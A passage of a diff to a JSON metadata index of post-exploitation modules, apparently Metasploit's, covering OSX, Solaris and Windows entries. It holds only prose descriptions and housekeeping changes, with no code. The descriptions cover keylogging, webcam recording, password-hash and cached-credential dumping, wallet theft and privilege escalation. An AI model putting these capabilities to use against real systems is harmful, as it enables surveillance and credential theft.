"references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:49:28 +0000", "path": "/modules/post/osx/manage/vpn.rb", "is_install_path": true, "ref_name": "osx/manage/vpn", @@ -271193,6 +271821,11 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", @@ -271217,26 +271850,22 @@ "post_osx/manage/webcam": { "name": "OSX Manage Webcam", "fullname": "post/osx/manage/webcam", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ "joev " ], - "description": "This module will allow the user to detect installed webcams (with\n the LIST action), take a snapshot (with the SNAPSHOT action), or\n record a webcam and mic (with the RECORD action)", - "references": [ - - ], + "description": "This module will allow the user to detect installed webcams (with\n the LIST action), take a snapshot (with the SNAPSHOT action), or\n record a webcam and mic (with the RECORD action).", + "references": [], "platform": "OSX", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:49:28 +0000", "path": "/modules/post/osx/manage/webcam.rb", "is_install_path": true, "ref_name": "osx/manage/webcam", @@ -271244,6 +271873,11 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell" @@ -271267,9 +271901,7 @@ "post_solaris/escalate/pfexec": { "name": "Solaris pfexec Upgrade Shell", "fullname": "post/solaris/escalate/pfexec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271288,7 +271920,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-21 10:45:08 +0000", "path": "/modules/post/solaris/escalate/pfexec.rb", "is_install_path": true, "ref_name": "solaris/escalate/pfexec", @@ -271296,21 +271928,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [ + "repeatable-session" + ] }, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_solaris/escalate/srsexec_readline": { "name": "Solaris srsexec Arbitrary File Reader", "fullname": "post/solaris/escalate/srsexec_readline", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-05-07", "type": "post", @@ -271332,7 +271969,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 00:19:25 +0000", "path": "/modules/post/solaris/escalate/srsexec_readline.rb", "is_install_path": true, "ref_name": "solaris/escalate/srsexec_readline", @@ -271340,22 +271977,25 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_solaris/gather/checkvm": { "name": "Solaris Gather Virtual Environment Detection", "fullname": "post/solaris/gather/checkvm", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271363,16 +272003,14 @@ "Carlos Perez " ], "description": "This module attempts to determine whether the system is running\n inside of a virtual environment and if so, which one. This\n module supports detection of Solaris Zone, VMWare, VirtualBox, Xen,\n and QEMU/KVM.", - "references": [ - - ], + "references": [], "platform": "Solaris", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 00:19:25 +0000", "path": "/modules/post/solaris/gather/checkvm.rb", "is_install_path": true, "ref_name": "solaris/gather/checkvm", @@ -271380,38 +272018,37 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_solaris/gather/enum_packages": { "name": "Solaris Gather Installed Packages", "fullname": "post/solaris/gather/enum_packages", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ "Carlos Perez " ], - "description": "Post module to enumerate installed packages on a Solaris System", - "references": [ - - ], + "description": "Post module to enumerate installed packages on a Solaris system.", + "references": [], "platform": "Solaris", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 14:12:25 +0000", + "mod_time": "2025-04-30 00:19:25 +0000", "path": "/modules/post/solaris/gather/enum_packages.rb", "is_install_path": true, "ref_name": "solaris/gather/enum_packages", @@ -271419,38 +272056,37 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_solaris/gather/enum_services": { "name": "Solaris Gather Configured Services", "fullname": "post/solaris/gather/enum_services", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ "Carlos Perez " ], - "description": "Post module to enumerate services on a Solaris System", - "references": [ - - ], + "description": "Post module to enumerate services on a Solaris system.", + "references": [], "platform": "Solaris", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 14:12:25 +0000", + "mod_time": "2025-04-30 00:19:25 +0000", "path": "/modules/post/solaris/gather/enum_services.rb", "is_install_path": true, "ref_name": "solaris/gather/enum_services", @@ -271458,38 +272094,37 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_solaris/gather/hashdump": { "name": "Solaris Gather Dump Password Hashes for Solaris Systems", "fullname": "post/solaris/gather/hashdump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ "Carlos Perez " ], - "description": "Post module to dump the password hashes for all users on a Solaris System", - "references": [ - - ], + "description": "Post module to dump the password hashes for all users on a Solaris system.", + "references": [], "platform": "Solaris", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-04-12 13:09:34 +0000", + "mod_time": "2025-04-30 00:19:25 +0000", "path": "/modules/post/solaris/gather/hashdump.rb", "is_install_path": true, "ref_name": "solaris/gather/hashdump", @@ -271497,21 +272132,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/capture/keylog_recorder": { "name": "Windows Capture Keystroke Recorder", "fullname": "post/windows/capture/keylog_recorder", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271520,16 +272156,14 @@ "Josh Hale " ], "description": "This module can be used to capture keystrokes. To capture keystrokes when the session is running\n as SYSTEM, the MIGRATE option must be enabled and the CAPTURE_TYPE option should be set to one of\n Explorer, Winlogon, or a specific PID. To capture the keystrokes of the interactive user, the\n Explorer option should be used with MIGRATE enabled. Keep in mind that this will demote this session\n to the user's privileges, so it makes sense to create a separate session for this task. The Winlogon\n option will capture the username and password entered into the logon and unlock dialog. The LOCKSCREEN\n option can be combined with the Winlogon CAPTURE_TYPE to for the user to enter their clear-text\n password. It is recommended to run this module as a job, otherwise it will tie up your framework user interface.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 14:12:25 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/capture/keylog_recorder.rb", "is_install_path": true, "ref_name": "windows/capture/keylog_recorder", @@ -271537,21 +272171,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/capture/lockout_keylogger": { "name": "Windows Capture Winlogon Lockout Credential Keylogger", "fullname": "post/windows/capture/lockout_keylogger", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271569,7 +272204,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/capture/lockout_keylogger.rb", "is_install_path": true, "ref_name": "windows/capture/lockout_keylogger", @@ -271577,21 +272212,24 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "screen-effects" + ], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/escalate/droplnk": { "name": "Windows Escalate SMB Icon LNK Dropper", "fullname": "post/windows/escalate/droplnk", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271599,16 +272237,14 @@ "mubix " ], "description": "This module drops a shortcut (LNK file) that has a ICON reference\n existing on the specified remote host, causing SMB and WebDAV\n connections to be initiated from any user that views the shortcut.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/escalate/droplnk.rb", "is_install_path": true, "ref_name": "windows/escalate/droplnk", @@ -271616,21 +272252,24 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk" + ], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/escalate/getsystem": { "name": "Windows Escalation", "fullname": "post/windows/escalate/getsystem", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271638,16 +272277,14 @@ "hdm " ], "description": "This module uses the `getsystem` command to escalate the current session to the SYSTEM account using various\n techniques.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/escalate/getsystem.rb", "is_install_path": true, "ref_name": "windows/escalate/getsystem", @@ -271662,22 +272299,23 @@ "PrintSpooler", "EFSRPC", "EfsPotato" - ] + ], + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/escalate/golden_ticket": { "name": "Windows Escalate Golden Ticket", "fullname": "post/windows/escalate/golden_ticket", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271694,7 +272332,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-04-12 13:09:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/escalate/golden_ticket.rb", "is_install_path": true, "ref_name": "windows/escalate/golden_ticket", @@ -271702,21 +272340,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/escalate/ms10_073_kbdlayout": { "name": "Windows Escalate NtUserLoadKeyboardLayoutEx Privilege Escalation", "fullname": "post/windows/escalate/ms10_073_kbdlayout", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-10-12", "type": "post", @@ -271729,7 +272368,7 @@ "OSVDB-68552", "CVE-2010-2743", "MSB-MS10-073", - "URL-http://www.reversemode.com/index.php?option=com_content&task=view&id=71&Itemid=1", + "URL-https://web.archive.org/web/20160308010201/http://www.reversemode.com/index.php?option=com_content&task=view&id=71&Itemid=1", "EDB-15985" ], "platform": "Windows", @@ -271738,7 +272377,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/escalate/ms10_073_kbdlayout.rb", "is_install_path": true, "ref_name": "windows/escalate/ms10_073_kbdlayout", @@ -271746,21 +272385,24 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-os-down" + ], + "SideEffects": [ + "artifacts-on-disk" + ], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/escalate/screen_unlock": { "name": "Windows Escalate Locked Desktop Unlocker", "fullname": "post/windows/escalate/screen_unlock", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -271770,7 +272412,7 @@ ], "description": "This module unlocks a locked Windows desktop by patching\n the respective code inside the LSASS.exe process. This\n patching process can result in the target system hanging or\n even rebooting, so be careful when using this module on\n production systems.", "references": [ - + "URL-http://www.storm.net.nz/projects/16" ], "platform": "Windows", "arch": "", @@ -271778,7 +272420,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/escalate/screen_unlock.rb", "is_install_path": true, "ref_name": "windows/escalate/screen_unlock", @@ -271786,21 +272428,24 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-os-down" + ], + "SideEffects": [ + "screen-effects" + ], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/escalate/unmarshal_cmd_exec": { "name": "Windows unmarshal post exploitation", "fullname": "post/windows/escalate/unmarshal_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-08-05", "type": "post", @@ -271810,7 +272455,7 @@ "Sanjay Gondaliya", "Pratik Shah " ], - "description": "This module exploits a local privilege escalation bug which exists\n in microsoft COM for windows when it fails to properly handle serialized objects.", + "description": "This module exploits a local privilege escalation bug which exists\n in Microsoft COM for Windows when it fails to properly handle serialized objects.", "references": [ "CVE-2018-0824", "URL-https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0824", @@ -271823,7 +272468,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/escalate/unmarshal_cmd_exec.rb", "is_install_path": true, "ref_name": "windows/escalate/unmarshal_cmd_exec", @@ -271831,38 +272476,75 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk" + ], + "Reliability": [] + }, + "session_types": [], + "needs_cleanup": null, + "actions": [] + }, + "post_windows/gather/ad_to_sqlite": { + "name": "AD Computer, Group and Recursive User Membership to Local SQLite DB", + "fullname": "post/windows/gather/ad_to_sqlite", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Stuart Morgan " + ], + "description": "This module will gather a list of AD groups, identify the users (taking into account recursion)\n and write this to a SQLite database for offline analysis and query using normal SQL syntax.", + "references": [], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-04-30 11:23:07 +0000", + "path": "/modules/post/windows/gather/ad_to_sqlite.rb", + "is_install_path": true, + "ref_name": "windows/gather/ad_to_sqlite", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ - + "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/arp_scanner": { "name": "Windows Gather ARP Scanner", "fullname": "post/windows/gather/arp_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ "Carlos Perez " ], - "description": "This Module will perform an ARP scan for a given IP range through a\n Meterpreter Session.", - "references": [ - - ], + "description": "This module will perform an ARP scan for a given IP range through a\n Meterpreter session.", + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-21 10:45:08 +0000", "path": "/modules/post/windows/gather/arp_scanner.rb", "is_install_path": true, "ref_name": "windows/gather/arp_scanner", @@ -271870,41 +272552,295 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] + }, + "post_windows/gather/avast_memory_dump": { + "name": "Avast AV Memory Dumping Utility", + "fullname": "post/windows/gather/avast_memory_dump", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "DLL_Cool_J" + ], + "description": "This module leverages an Avast Anti-Virus memory dump utility that is shipped\n by default with Avast Anti-Virus Home software suite.", + "references": [], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-02-03 18:12:53 +0000", + "path": "/modules/post/windows/gather/avast_memory_dump.rb", + "is_install_path": true, + "ref_name": "windows/gather/avast_memory_dump", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ], + "Reliability": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] + }, + "post_windows/gather/bitcoin_jacker": { + "name": "Windows Gather Bitcoin Wallet", + "fullname": "post/windows/gather/bitcoin_jacker", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "illwill ", + "todb " + ], + "description": "This module downloads any Bitcoin wallet files from the target\n system. It currently supports both the classic Satoshi wallet and the\n more recent Armory wallets. Note that Satoshi wallets tend to be\n unencrypted by default, while Armory wallets tend to be encrypted by default.", + "references": [], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-04-30 11:23:07 +0000", + "path": "/modules/post/windows/gather/bitcoin_jacker.rb", + "is_install_path": true, + "ref_name": "windows/gather/bitcoin_jacker", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] + }, + "post_windows/gather/bitlocker_fvek": { + "name": "Bitlocker Master Key (FVEK) Extraction", + "fullname": "post/windows/gather/bitlocker_fvek", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Danil Bazin " + ], + "description": "This module enumerates ways to decrypt Bitlocker volume and if a recovery key is stored locally\n or can be generated, dump the Bitlocker master key (FVEK)", + "references": [ + "URL-https://github.com/libyal/libbde/blob/master/documentation/BitLocker Drive Encryption (BDE) format.asciidoc", + "URL-https://web.archive.org/web/20170914195545/http://www.hsc.fr/ressources/outils/dislocker/" + ], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-03 12:57:40 +0000", + "path": "/modules/post/windows/gather/bitlocker_fvek.rb", + "is_install_path": true, + "ref_name": "windows/gather/bitlocker_fvek", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] + }, + "post_windows/gather/bloodhound": { + "name": "BloodHound Ingestor", + "fullname": "post/windows/gather/bloodhound", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "h4ng3r ", + "h00die" + ], + "description": "This module will execute the BloodHound C# Ingestor (aka SharpHound) to gather sessions, local admin, domain trusts and more.\n With this information BloodHound will easily identify highly complex attack paths that would otherwise be impossible to quickly\n identify within an Active Directory environment.", + "references": [], + "platform": "Windows", + "arch": "x86, x64", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-05-21 10:45:08 +0000", + "path": "/modules/post/windows/gather/bloodhound.rb", + "is_install_path": true, + "ref_name": "windows/gather/bloodhound", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "AKA": [ + "sharphound" + ], + "SideEffects": [ + "artifacts-on-disk" + ], + "Stability": [ + "crash-safe" + ], + "Reliability": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] + }, + "post_windows/gather/cachedump": { + "name": "Windows Gather Credential Cache Dump", + "fullname": "post/windows/gather/cachedump", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Maurizio Agazzini ", + "mubix " + ], + "description": "This module uses the registry to extract the stored domain hashes that have been\n cached as a result of a GPO setting. The default setting on Windows is to store\n the last ten successful logins.", + "references": [ + "URL-https://web.archive.org/web/20220407023137/https://lab.mediaservice.net/code/cachedump.rb" + ], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-04-30 11:23:07 +0000", + "path": "/modules/post/windows/gather/cachedump.rb", + "is_install_path": true, + "ref_name": "windows/gather/cachedump", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] + }, + "post_windows/gather/checkvm": { + "name": "Windows Gather Virtual Environment Detection", + "fullname": "post/windows/gather/checkvm", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Carlos Perez ", + "Aaron Soto " + ], + "description": "This module attempts to determine whether the system is running\n inside of a virtual environment and if so, which one. This\n module supports detection of Hyper-V, VMWare, VirtualBox, Xen, QEMU,\n and Parallels.", + "references": [ + "URL-https://handlers.sans.org/tliston/ThwartingVMDetection_Liston_Skoudis.pdf", + "URL-https://www.heise.de/security/downloads/07/1/1/8/3/5/5/9/vmde.pdf", + "URL-https://evasions.checkpoint.com/techniques/registry.html" + ], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-04-30 11:23:07 +0000", + "path": "/modules/post/windows/gather/checkvm.rb", + "is_install_path": true, + "ref_name": "windows/gather/checkvm", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] }, "session_types": [ - "meterpreter" + "meterpreter", + "powershell", + "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, - "post_windows/gather/avast_memory_dump": { - "name": "Avast AV Memory Dumping Utility", - "fullname": "post/windows/gather/avast_memory_dump", - "aliases": [ - - ], + "post_windows/gather/credentials/adi_irc": { + "name": "Adi IRC Credential Gatherer", + "fullname": "post/windows/gather/credentials/adi_irc", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ - "DLL_Cool_J" - ], - "description": "This module leverages an Avast Anti-Virus memory dump utility that is shipped\n by default with Avast Anti-Virus Home software suite.", - "references": [ - + "Jacob Tierney", + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" ], + "description": "This module searches for credentials stored on AdiIRC Client on a Windows host.", + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-03 18:12:53 +0000", - "path": "/modules/post/windows/gather/avast_memory_dump.rb", + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/adi_irc.rb", "is_install_path": true, - "ref_name": "windows/gather/avast_memory_dump", + "ref_name": "windows/gather/credentials/adi_irc", "check": false, "post_auth": false, "default_credential": false, @@ -271912,223 +272848,199 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - "ioc-in-logs", - "artifacts-on-disk" - ], - "Reliability": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, - "post_windows/gather/bitcoin_jacker": { - "name": "Windows Gather Bitcoin Wallet", - "fullname": "post/windows/gather/bitcoin_jacker", - "aliases": [ - - ], + "post_windows/gather/credentials/aim": { + "name": "Aim Credential Gatherer", + "fullname": "post/windows/gather/credentials/aim", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ - "illwill ", - "todb " - ], - "description": "This module downloads any Bitcoin wallet files from the target\n system. It currently supports both the classic Satoshi wallet and the\n more recent Armory wallets. Note that Satoshi wallets tend to be\n unencrypted by default, while Armory wallets tend to be encrypted by default.", - "references": [ - + "Kazuyoshi Maruta", + "Daniel Hallsworth", + "Barwar Salim M", + "Z. Cliffe Schreuders" ], + "description": "This module searches for Aim credentials on a Windows host.", + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", - "path": "/modules/post/windows/gather/bitcoin_jacker.rb", + "mod_time": "2025-05-13 23:10:04 +0000", + "path": "/modules/post/windows/gather/credentials/aim.rb", "is_install_path": true, - "ref_name": "windows/gather/bitcoin_jacker", + "ref_name": "windows/gather/credentials/aim", "check": false, "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, - "post_windows/gather/bitlocker_fvek": { - "name": "Bitlocker Master Key (FVEK) Extraction", - "fullname": "post/windows/gather/bitlocker_fvek", - "aliases": [ - - ], + "post_windows/gather/credentials/avira_password": { + "name": "Windows Gather Avira Password Extraction", + "fullname": "post/windows/gather/credentials/avira_password", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ - "Danil Bazin " - ], - "description": "This module enumerates ways to decrypt Bitlocker volume and if a recovery key is stored locally\n or can be generated, dump the Bitlocker master key (FVEK)", - "references": [ - "URL-https://github.com/libyal/libbde/blob/master/documentation/BitLocker Drive Encryption (BDE) format.asciidoc", - "URL-http://www.hsc.fr/ressources/outils/dislocker/" + "Robert Kugler / robertchrk" ], + "description": "This module extracts the weakly hashed password\n which is used to protect a Avira Antivirus (<= 15.0.17.273) installation.", + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", - "path": "/modules/post/windows/gather/bitlocker_fvek.rb", + "mod_time": "2025-04-28 09:08:33 +0000", + "path": "/modules/post/windows/gather/credentials/avira_password.rb", "is_install_path": true, - "ref_name": "windows/gather/bitlocker_fvek", + "ref_name": "windows/gather/credentials/avira_password", "check": false, "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, - "post_windows/gather/bloodhound": { - "name": "BloodHound Ingestor", - "fullname": "post/windows/gather/bloodhound", - "aliases": [ - - ], + "post_windows/gather/credentials/bulletproof_ftp": { + "name": "Windows Gather BulletProof FTP Client Saved Password Extraction", + "fullname": "post/windows/gather/credentials/bulletproof_ftp", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ - "h4ng3r ", - "h00die" - ], - "description": "This module will execute the BloodHound C# Ingestor (aka SharpHound) to gather sessions, local admin, domain trusts and more.\n With this information BloodHound will easily identify highly complex attack paths that would otherwise be impossible to quickly\n identify within an Active Directory environment.", - "references": [ - + "juan vazquez " ], + "description": "This module extracts information from BulletProof FTP Bookmarks files and store\n retrieved credentials in the database.", + "references": [], "platform": "Windows", - "arch": "x86, x64", + "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-02-29 07:12:37 +0000", - "path": "/modules/post/windows/gather/bloodhound.rb", + "mod_time": "2025-04-28 09:08:33 +0000", + "path": "/modules/post/windows/gather/credentials/bulletproof_ftp.rb", "is_install_path": true, - "ref_name": "windows/gather/bloodhound", + "ref_name": "windows/gather/credentials/bulletproof_ftp", "check": false, "post_auth": false, "default_credential": false, "notes": { - "AKA": [ - "sharphound" - ], - "SideEffects": [ - "artifacts-on-disk" - ], "Stability": [ - + "crash-safe" ], - "Reliability": [ - - ] + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, - "post_windows/gather/cachedump": { - "name": "Windows Gather Credential Cache Dump", - "fullname": "post/windows/gather/cachedump", - "aliases": [ - - ], + "post_windows/gather/credentials/carotdav_ftp": { + "name": "CarotDAV Credential Gatherer", + "fullname": "post/windows/gather/credentials/carotdav_ftp", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ - "Maurizio Agazzini ", - "mubix " - ], - "description": "This module uses the registry to extract the stored domain hashes that have been\n cached as a result of a GPO setting. The default setting on Windows is to store\n the last ten successful logins.", - "references": [ - 